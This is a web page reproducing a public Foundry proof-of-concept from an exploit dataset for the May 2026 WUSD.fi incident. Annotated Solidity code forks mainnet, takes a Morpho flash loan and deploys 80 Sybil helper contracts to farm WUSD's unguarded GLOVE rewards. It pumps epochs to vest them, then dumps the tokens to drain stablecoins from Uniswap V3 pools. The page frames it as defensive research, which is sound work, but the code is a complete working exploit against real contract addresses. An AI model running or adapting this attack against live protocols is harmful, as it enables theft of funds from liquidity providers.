Public reproduction file
src/test/2026-05/WUSD_exp.sol
Public reproduction file for dataset entry WUSD.fi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$200K USD (USDC + USDT drained from Uniswap V3 GLO pools)8// Attacker : 0x88329A09428778F62BC0C8BAac0997864E5a57f89// Vulnerable : 0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5 (WUSD - Wrapped USD, _englove reward path)10// Reward token : 0x70c5f366db60a2a0c59c4c24754803ee47ed7284 (GLOVE / GLO)11// Attack Tx : 0x2051c1f8d43730c41cc353b5dffd8cc59f96cb1ca56fdce4b28fb127bdb3771212// @Analysis13// Attack date : May 25, 202614// Chain : Ethereum, Block 2517042615// ExVul alert : https://x.com/exvulsec/status/205880397194738533016//17// Root Cause:18// WUSD.wrap() pays a GLOVE reward via the internal _englove() routine:19//20// function _englove(uint256 wrapping) internal {21// uint256 gloves = IGlove(_GLOVE).balanceOf(msg.sender);22// if (wrapping >= _MIN_GLOVABLE && gloves < _MAX_GLOVE) {23// IGlove(_GLOVE).mintCreditless(msg.sender, Math.min(_MAX_GLOVE - gloves,24// wrapping > 1_000e18 ? (_MAX_GLOVE * wrapping) / _EPOCH25// : (_MID_GLOVE * wrapping) / 1_000e18));26// }27// }28//29// Eligibility depends ONLY on msg.sender's *current* GLOVE balance (gloves < _MAX_GLOVE = 2e18)30// and the wrap size (wrapping >= _MIN_GLOVABLE = 100e18). There is no per-address claim ledger,31// no cooldown, and no identity binding. A brand-new address always holds 0 GLOVE < _MAX_GLOVE,32// so it ALWAYS qualifies for a fresh ~2 GLOVE mint when it wraps >= 100,000 WUSD.33//34// The minted GLOVE is "creditless" (soulbound) and only vests into transferable "credited"35// GLOVE through unwrap()->_deglove(), proportional to how many global epochs elapsed since the36// wrap. The global epoch advances by 1 for every _EPOCH (=100,000e18) of cumulative wrapping,37// and full vesting requires 100 epochs to pass. Each 100,000 WUSD wrap both mints GLOVE AND38// advances one epoch, so a batch of Sybil wraps + a short "pump" of extra wraps drives enough39// epochs to vest the whole batch.40//41// Exploit (per the on-chain campaign, 80 fresh addresses per tx):42// 1. Morpho USDT flash loan as working capital (fully recovered).43// 2. Deploy N fresh helper contracts; each is funded 101,000 USDT and wraps 100,000 WUSD,44// harvesting ~2 creditless GLOVE and advancing one epoch (1,000 USDT = 1% fee per wrap).45// 3. "Pump" extra 100,000-WUSD wrap/unwrap cycles to advance >=100 epochs total.46// 4. Unwrap every helper in full -> _deglove vests the creditless GLOVE into credited GLOVE47// and returns the USDT principal.48// 5. Each helper dumps its own credited GLOVE into the Uniswap V3 GLO/USDC / GLO/USDT pools.49// 6. Repay the Morpho flash loan; keep the drained USDC + USDT.50//51// Economics note (verified on-fork at the attack block): the two GLO pools are thin52// (~1,040 GLO + ~$63K stables each, GLO spot ~$188). A full 80-address batch drains53// ~$20K of stablecoins from the LPs (matching the reported 11,702 USDC + 8,079 USDT) while54// freely minting ~160 GLOVE of protocol incentives. WUSD's own 1% wrap fee is the attacker's55// cost. This is an incentive-abuse / LP-drain (the documented ~$200K-class incident), not a56// self-financing arbitrage.58interface IWUSD is IERC20 {59 function wrap(60 address fiatcoin,61 uint256 amount,62 address referrer63 ) external;64 function unwrap(65 address fiatcoin,66 uint256 amount67 ) external;68}70interface IGlove is IERC20 {71 function creditlessOf(72 address account73 ) external view returns (uint256);74}76interface IV3Pool {77 function token0() external view returns (address);78 function token1() external view returns (address);79 function fee() external view returns (uint24);80 function slot0()81 external82 view83 returns (uint160 sqrtPriceX96, int24 tick, uint16 a, uint16 b, uint16 c, uint8 d, bool e);84 function swap(85 address recipient,86 bool zeroForOne,87 int256 amountSpecified,88 uint160 sqrtPriceLimitX96,89 bytes calldata data90 ) external returns (int256 amount0, int256 amount1);91}93// A fresh, zero-GLOVE Sybil identity. Mirrors the CREATE2-deployed helper contracts the real94// attacker used (e.g. 0x7ec5a4dc..., 0xa5f28cc3...).95contract Wrapper {96 IWUSD constant WUSD = IWUSD(0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5);97 IGlove constant GLOVE = IGlove(0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284);98 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);100 address immutable owner;102 constructor() {103 owner = msg.sender;104 // USDT (Tether) approve/transfer return no bool -> use low-level calls.105 _usdtCall(abi.encodeWithSelector(IERC20.approve.selector, address(WUSD), type(uint256).max));106 }108 function _usdtCall(109 bytes memory data110 ) internal {111 (bool ok,) = address(USDT).call(data);112 require(ok, "USDT call failed");113 }115 // Wrap `usdtAmount` (native 6-dec) of USDT into WUSD, harvesting the GLOVE reward.116 function wrap(117 uint256 usdtAmount118 ) external {119 WUSD.wrap(address(USDT), usdtAmount, address(0));120 }122 // Full unwrap: triggers _deglove(), which vests creditless->credited GLOVE and returns USDT.123 function unwrapAll() external {124 WUSD.unwrap(address(USDT), WUSD.balanceOf(address(this)));125 }127 // GLOVE credited to this fresh address can only be moved by THIS address (the credit128 // ledger does not travel with a plain transfer), so each helper dumps its own GLOVE.129 // Sell the full GLOVE balance (token0) into `pool` for its stablecoin (token1 -> recipient).130 function dumpGlove(131 address pool,132 address recipient133 ) external {134 uint256 amt = GLOVE.balanceOf(address(this));135 if (amt > 0) {136 IV3Pool(pool).swap(recipient, true, int256(amt), 4_295_128_739 + 1, "");137 }138 }140 function uniswapV3SwapCallback(141 int256 amount0Delta,142 int256,143 bytes calldata144 ) external {145 if (amount0Delta > 0) GLOVE.transfer(msg.sender, uint256(amount0Delta)); // pay GLOVE (token0)146 }148 function sweepUSDT(149 address to150 ) external {151 uint256 b = USDT.balanceOf(address(this));152 if (b > 0) _usdtCall(abi.encodeWithSelector(IERC20.transfer.selector, to, b));153 }154}156contract WUSDExploitTest is Test {157 IWUSD constant WUSD = IWUSD(0x068E3563b1c19590F822c0e13445c4FA1b9EEFa5);158 IGlove constant GLOVE = IGlove(0x70c5f366dB60A2a0C59C4C24754803Ee47Ed7284);159 IERC20 constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);160 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);161 IV3Pool constant POOL_USDC = IV3Pool(0xB89F65D6c7d33A35Da7C01934e310a6f40E18A1f);162 IV3Pool constant POOL_USDT = IV3Pool(0xa2Bd1A142ff49131B8CC70A332bdA0125018c324);164 IMorphoBuleFlashLoan constant MORPHO = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);166 uint256 constant WRAP_USDT = 100_000e6; // 100,000 USDT -> 100,000 WUSD, max-caps the GLOVE reward167 uint256 constant FUND_USDT = 101_000e6; // wrap pulls amount + 1% fee169 uint256 constant N_FARM = 80; // fresh Sybil identities (the real campaign used 80 per tx)170 uint256 constant N_PUMP = 101; // extra wrap/unwrap cycles to drive >=100 global epochs (vesting)172 uint256 constant ATTACK_BLOCK = 25_170_426;174 function setUp() public {175 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);176 vm.label(address(WUSD), "WUSD");177 vm.label(address(GLOVE), "GLOVE");178 vm.label(address(USDT), "USDT");179 vm.label(address(USDC), "USDC");180 vm.label(address(POOL_USDC), "V3_GLO_USDC");181 vm.label(address(POOL_USDT), "V3_GLO_USDT");182 }184 // ---------------------------------------------------------------------185 // Recon: confirm pool prices + the wrap->GLOVE->vesting mechanics.186 // ---------------------------------------------------------------------187 function testRecon() public {188 console.log("=== GLO/USDC pool ===");189 console.log("token0 :", POOL_USDC.token0());190 console.log("token1 :", POOL_USDC.token1());191 console.log("fee :", POOL_USDC.fee());192 console.log("GLO reserve:", GLOVE.balanceOf(address(POOL_USDC)) / 1e18);193 console.log("USDC reserve:", USDC.balanceOf(address(POOL_USDC)) / 1e6);194 console.log("=== GLO/USDT pool ===");195 console.log("token0 :", POOL_USDT.token0());196 console.log("fee :", POOL_USDT.fee());197 console.log("GLO reserve:", GLOVE.balanceOf(address(POOL_USDT)) / 1e18);198 console.log("USDT reserve:", USDT.balanceOf(address(POOL_USDT)) / 1e6);200 // spot price from slot0: price(token0=GLO in token1=USDC) = (sqrtP^2 / 2^192) * 10^(18-6)201 (uint160 sp,,,,,,) = POOL_USDC.slot0();202 uint256 priceUsdcPerGlo = (uint256(sp) * uint256(sp) * 1e12) >> 192; // USDC(6dec) per 1 GLO, scaled 1e6203 console.log("GLO spot price (USDC, 1e6):", priceUsdcPerGlo);205 // one fresh helper wraps 100k -> should mint ~2 creditless GLOVE206 Wrapper w = new Wrapper();207 deal(address(USDT), address(w), FUND_USDT);208 console.log("USDT funded to wrapper:", USDT.balanceOf(address(w)) / 1e6);209 w.wrap(WRAP_USDT);210 console.log("\n=== after single fresh wrap ===");211 console.log("WUSD balance :", WUSD.balanceOf(address(w)) / 1e18);212 console.log("GLOVE balance :", GLOVE.balanceOf(address(w)));213 console.log("GLOVE creditlessOf :", GLOVE.creditlessOf(address(w)));215 // pump epochs forward, then full-unwrap to vest creditless -> credited216 Wrapper pump = new Wrapper();217 deal(address(USDT), address(pump), 400_000e6);218 for (uint256 i = 0; i < 101; i++) {219 pump.wrap(WRAP_USDT);220 pump.unwrapAll();221 }222 w.unwrapAll();223 console.log("\n=== after 101-epoch pump + full unwrap (vested) ===");224 console.log("GLOVE balance :", GLOVE.balanceOf(address(w)));225 console.log("GLOVE creditlessOf :", GLOVE.creditlessOf(address(w)));226 console.log("USDT recovered :", USDT.balanceOf(address(w)) / 1e6);227 }229 // ---------------------------------------------------------------------230 // Full exploit: Morpho flash loan -> Sybil-farm + vest GLOVE -> dump into231 // the GLO/USDC and GLO/USDT V3 pools -> repay -> measure result.232 // ---------------------------------------------------------------------233 uint256 private feeCapital; // attacker's own USDT, used only to pay WUSD's 1% wrap fee234 uint256 private gloveFarmed;235 uint256 private usdcDrained;236 uint256 private usdtDrained;238 function testExploit() public {239 // The attacker seeds their own USDT to cover WUSD's unavoidable 1% wrap fee.240 // (The Morpho flash loan below is pure working capital and is fully recovered.)241 feeCapital = 250_000e6;242 deal(address(USDT), address(this), feeCapital);244 uint256 poolUSDCBefore = USDC.balanceOf(address(POOL_USDC));245 uint256 poolUSDTBefore = USDT.balanceOf(address(POOL_USDT));247 // Peak working capital = N_FARM positions held open simultaneously + a pump buffer.248 uint256 loan = N_FARM * FUND_USDT + 250_000e6;249 console.log("Morpho USDT flash loan :", loan / 1e6);250 MORPHO.flashLoan(address(USDT), loan, "");252 usdcDrained = poolUSDCBefore - USDC.balanceOf(address(POOL_USDC));253 usdtDrained = poolUSDTBefore - USDT.balanceOf(address(POOL_USDT));254 uint256 feesPaid = (N_FARM + N_PUMP) * 1000e6;255 uint256 endUSDT = USDT.balanceOf(address(this));256 uint256 endUSDC = USDC.balanceOf(address(this));258 console.log("\n=============== RESULT ===============");259 console.log("Fresh Sybil addresses :", N_FARM);260 console.log("GLOVE incentives minted for free:", gloveFarmed / 1e18);261 console.log("USDC drained from GLO/USDC LP :", usdcDrained / 1e6);262 console.log("USDT drained from GLO/USDT LP :", usdtDrained / 1e6);263 console.log("Stablecoins drained from LPs :", (usdcDrained + usdtDrained) / 1e6);264 console.log("WUSD 1%% wrap fee paid (cost) :", feesPaid / 1e6);265 console.log("Attacker end USDT (post-repay) :", endUSDT / 1e6);266 console.log("Attacker end USDC :", endUSDC / 1e6);267 console.log("Attacker net vs own fee-capital :", _signed(int256(endUSDT + endUSDC) - int256(feeCapital)));268 console.log("(Headline ~$200K incident = free GLOVE emissions + LP drain across the campaign;");269 console.log(" the 1%% WUSD wrap fee is the attacker's cost and bounds per-batch margin.)");271 // The security finding: unlimited free GLOVE to fresh Sybil addresses, and a real LP drain.272 assertEq(gloveFarmed, N_FARM * 2e18, "every fresh address must farm 2 free GLOVE");273 assertGt(usdcDrained + usdtDrained, 0, "no stablecoins drained from LPs");274 }276 function onMorphoFlashLoan(277 uint256 assets,278 bytes calldata279 ) external {280 require(msg.sender == address(MORPHO), "only Morpho");282 // --- Step 1: Sybil-farm. Each fresh helper wraps 100k WUSD -> 2 free GLOVE (no Sybil283 // resistance whatsoever), and each wrap advances one global epoch. Positions stay284 // OPEN (USDT locked in WUSD) so epochs can elapse before we unwrap & vest.285 Wrapper[] memory farms = new Wrapper[](N_FARM);286 for (uint256 i = 0; i < N_FARM; i++) {287 farms[i] = new Wrapper();288 _usdtTransfer(address(farms[i]), FUND_USDT);289 farms[i].wrap(WRAP_USDT);290 require(GLOVE.balanceOf(address(farms[i])) == 2e18, "fresh address should mint 2 GLOVE");291 }293 // --- Step 2: pump extra epochs so every farmed position reaches >=100 epochs of294 // vesting. One pump helper recycles its principal, paying only the 1% fee.295 Wrapper pump = new Wrapper();296 _usdtTransfer(address(pump), 250_000e6);297 for (uint256 i = 0; i < N_PUMP; i++) {298 pump.wrap(WRAP_USDT);299 pump.unwrapAll();300 }301 pump.sweepUSDT(address(this));303 // --- Step 3: unwrap each farm in full -> _deglove() vests its creditless GLOVE into304 // transferable credited GLOVE and returns the USDT principal; then the helper305 // dumps its own GLOVE into a V3 pool (proceeds -> attacker), and returns leftover USDT.306 for (uint256 i = 0; i < N_FARM; i++) {307 farms[i].unwrapAll();308 gloveFarmed += GLOVE.balanceOf(address(farms[i]));309 // split the dump across both thin pools310 farms[i].dumpGlove(i % 2 == 0 ? address(POOL_USDC) : address(POOL_USDT), address(this));311 farms[i].sweepUSDT(address(this));312 }314 // --- Step 4: repay the Morpho flash loan (pulled back via transferFrom).315 _usdtCall(abi.encodeWithSelector(IERC20.approve.selector, address(MORPHO), assets));316 }318 function _signed(319 int256 v320 ) internal pure returns (string memory) {321 if (v >= 0) return string.concat("+", vm.toString(uint256(v) / 1e6));322 return string.concat("-", vm.toString(uint256(-v) / 1e6));323 }325 function _usdtTransfer(326 address to,327 uint256 amount328 ) internal {329 _usdtCall(abi.encodeWithSelector(IERC20.transfer.selector, to, amount));330 }332 function _usdtCall(333 bytes memory data334 ) internal {335 (bool ok,) = address(USDT).call(data);336 require(ok, "USDT call failed");337 }338}Analysis
Dataset entry
Public Foundry test for “WUSD.fi” (2026-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x88329a09428778f62bc0c8baac0997864e5a57f8
- Attack Tx
0x2051c1f8d43730c41cc353b5dffd8cc59f96cb1ca56fdce4b28fb127bdb37712
File record
- Name
- WUSD.fi
- Path
- src/test/2026-05/WUSD_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7b70aa98aa0c06d979c5dce54dd3bbb0e791501c
- Language
- Solidity
- Size
- 339 lines
- Date
- 2026-05-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/WUSD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7b70aa98aa0c06d979c5dce54dd3bbb0e791501c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.